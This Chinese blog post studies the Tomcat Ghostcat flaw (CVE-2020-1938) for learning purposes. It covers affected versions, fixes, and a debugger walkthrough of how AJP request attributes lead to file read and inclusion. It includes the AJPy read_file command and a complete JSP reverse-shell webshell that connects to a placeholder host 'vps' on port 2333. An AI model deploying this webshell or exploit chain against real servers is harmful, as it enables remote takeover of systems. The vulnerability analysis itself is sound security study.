学习CVE-2020-1938

一步一步学习如何编写自己的poc

概述

主要参考自 https://www.chaitin.cn/zh/ghostcat

膜一波长亭的大师傅

AJP协议

AJP13是定向包协议。因为性能原因,使用二进制格式来传输可读性文本。WEB服务器通过 TCP连接和SERVLET容器连接。为了减少进程生成 socket的花费,WEB服务器和SERVLET容器之间尝试保持持久性的TCP连接,对多个请求/回复循环重用一个连接。一旦连接分配给一个特定的请 求,在请求处理循环结束之前不会在分配。换句话说,在连接上,请求不是多元的。这个是连接两端的编码变得容易,虽然这导致在一时刻会有很多连接。

Tomcat默认开启ajp connector监听8009端口, 而其设计上存在缺陷, 在一定的利用下, 可以导致Web目录下的文件读取和文件包含, 如果还可以任意文件上传, 则会导致RCE

影响版本

Apache Tomcat 9.x < 9.0.31

Apache Tomcat 8.x < 8.5.51

Apache Tomcat 7.x < 7.0.100

Apache Tomcat 6.x

利用条件

  1. 开启AJP connector
  2. AJP connector监听的端口(默认为8009)可以被外网访问

修复建议

  1. 如果没有使用AJP协议

    直接更新最新版本即可

    如果不能直接更新, 可以禁止AJP的默认开启, 或将其监听地址改为localhost

  2. 如果使用了AJP协议

    直接升级或为 AJP Connector 配置 secret 来设置 AJP 协议认证凭证。

Q&A

这部分摘抄自 @phithon 师傅的知识星球

  1. 是否可以跨目录读取到tomcat管理员密码, /etc/passwd等文件?

    不可以, 只能读取和包含webapps目录下的文件

  2. 是否可以跨APP读取Tomcat下其他应用的文件?

    可以, 需要修改poc

  3. 是文件包含还是文件读取漏洞?

    漏洞有两种利用方式, 可以文件包含或者文件读取

  4. docker拉取的tomcat无法利用成功?

    因为从2020年开始docker中的tomcat默认不开启examples, ROOT等应用, webapps默认目录为空, 可以使用 https://github.com/vulhub/vulhub/tree/master/tomcat/CVE-2020-1938 来进行测试

  5. 为什么利用不成功?

    很可能是你的poc写的不全

环境搭建

主要参考的是

https://blog.csdn.net/u013268035/article/details/81349341

一步步跟过去就可以搭建成功了

然后这里可以开启debug

利用的脚本用的是

https://github.com/hypn0s/AJPy

初步分析

主要参考

https://www.guildhab.top/?p=2406

Tomcat-Ajp协议漏洞分析利用(CVE-2020-1938)

认识一个漏洞最快的方式, 就是通过github提交的记录来分析漏洞点

我们看一下tomat7.0.100的提交记录

https://github.com/apache/tomcat/commits/7.0.100

从底往上看

首先是默认禁止AJP connector的开启

第二步是改监听地址为localhost

这和我们前面提到的修复方法是一致的

第三步是设置凭证, 如果没有设置凭证或凭证为空则不启动AJP connector

第四步添加一个属性, 如果请求带有无法识别的参数则返回403

第五步更改了ajp的注册方式(依然是默认注释)

我们大概就可以了解到这个漏洞的一部分情况

  • 外部可以访问AJP connector的监听端口
  • 携带部分属性使得可利用

具体的还是要看代码和poc来观察

调试分析

https://www.guildhab.top/?p=2406 这位师傅分析的十分详细, 主要是从DefaultServlet方面讲的, 我们就从JspServlet角度来简单聊聊, 原理也差不多

我们打开debug模式, 打个断点在org/apache/coyote/ajp/AjpProcessor.java#167

然后运行poc

python .\tomcat.py read_file --webapp=manager /WEB-INF/web.xml 127.0.0.1

就可以发现成功打断了, F7单步调试

来到这里

可以看到AJP协议其实是被当成GET解析了

然后在这里进入了一个switch循环, 此时的attributeCode10, 对应的case的含义为

AJP connector没有预定义的属性

进去之后, 可以看到主要的点在这里

由于我们加进去的header头不在匹配列表中, 到最后一个else, 直接注册为requestattribute

随后注入的是请求的文件路径

总共注入的有三个属性, 通过抓包我们也可以直接看到

然后继续F7

此时调用CoyoteAdapter来执行请求, adapter是用来连接connectorcontainer 的组件

我们可以在中间看到, URI会经过normalize的过滤, 因此无法进行目录穿越, 会被限制在webapps

继续跟到JspServlet里面

当无法获取到对应的jspuri时, 就会去获取javax.servlet.include.servlet_path, 而这个值我们设定为/

接下来会获取javax.servlet.include.path_info

也就是读取的文件, 然后到这里

就开始读文件了, 上一张调用链 https://www.freebuf.com/vuls/228108.html

看一下脚本的返回

成功, 我们来小结一下

  1. 需要传递三个参数

    javax.servlet.include.request_uri
    javax.servlet.include.path_info
    javax.servlet.include.servlet_path

    其中第二个是我们读取的文件名

  2. 由于不是ajp相关的头, tomcat会把他们注册到request里面

  3. 然后访问一个不存在的文件xxx.jsp

  4. 程序会交给jspServlet执行, 由于不存在对应的jspUri, 会取出我们的三个参数并进行一定的处理, 同时过滤../

  5. 使用getResource读取文件并返回

那么我们如果已经上传了一个jsp马, 当这个马传递给jspServlet, 是不是就会直接执行了呢

先写一个马

<%@page import="java.lang.*"%>
<%@page import="java.util.*"%>
<%@page import="java.io.*"%>
<%@page import="java.net.*"%>
<%
class StreamConnector extends Thread
{
InputStream zd;
OutputStream fm;
StreamConnector( InputStream zd, OutputStream fm )
{
this.zd = zd;
this.fm = fm;
}
public void run()
{
BufferedReader fr = null;
BufferedWriter ctw = null;
try
{
fr = new BufferedReader( new InputStreamReader( this.zd ) );
ctw = new BufferedWriter( new OutputStreamWriter( this.fm ) );
char buffer[] = new char[8192];
int length;
while( ( length = fr.read( buffer, 0, buffer.length ) ) > 0 )
{
ctw.write( buffer, 0, length );
ctw.flush();
}
} catch( Exception e ){}
try
{
if( fr != null )
fr.close();
if( ctw != null )
ctw.close();
} catch( Exception e ){}
}
}
try
{
String ShellPath;
if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) {
ShellPath = new String("/bin/sh");
} else {
ShellPath = new String("cmd.exe");
}
Socket socket = new Socket( "vps", 2333 );
Process process = Runtime.getRuntime().exec( ShellPath );
( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start();
( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start();
} catch( Exception e ) {}
%>

然后放到

home/webapps/manager/

下, 读取即可执行

不过不知道为啥没有弹回shell, 猜测和win有些关系

当然, 由于是文件包含, 并不需要用jsp后缀, 例如我们改为1.txt

可以看到依然执行了, 因此是任意文件包含, 那如果想读其他的webapps呢

例如想读ROOT, 改一下前面的参数即可

--webapp=ROOT

另外我们可以观察到, 前面我们进入的是jspServlet, 这个是由我们访问的后缀确定的, 那么如果是其他的后缀呢?

我们改为html

可以看到, 现在只能读取而不能执行了, 原理的话和前面差不多, 就不多说了

编写poc

编写poc的主要问题应该是在于如何发出一个ajp请求, 直接用requests库是不行的, 并没有一个ajp方法

所以我们要自己来写一个方法

看了一眼需要先了解一下ajp的规范, 先留个坑23333

具体的格式可以参考 https://blog.51cto.com/guojuanjun/688559


作者: cjm00n
地址: https://cjm00n.top/Web/cve-2020-1938-learning.html
版权声明: 除特别说明外,所有文章均采用 CC BY 4.0 许可协议,转载请先取得同意。

linux基础命令学习 浅谈CSP与Bypass

评论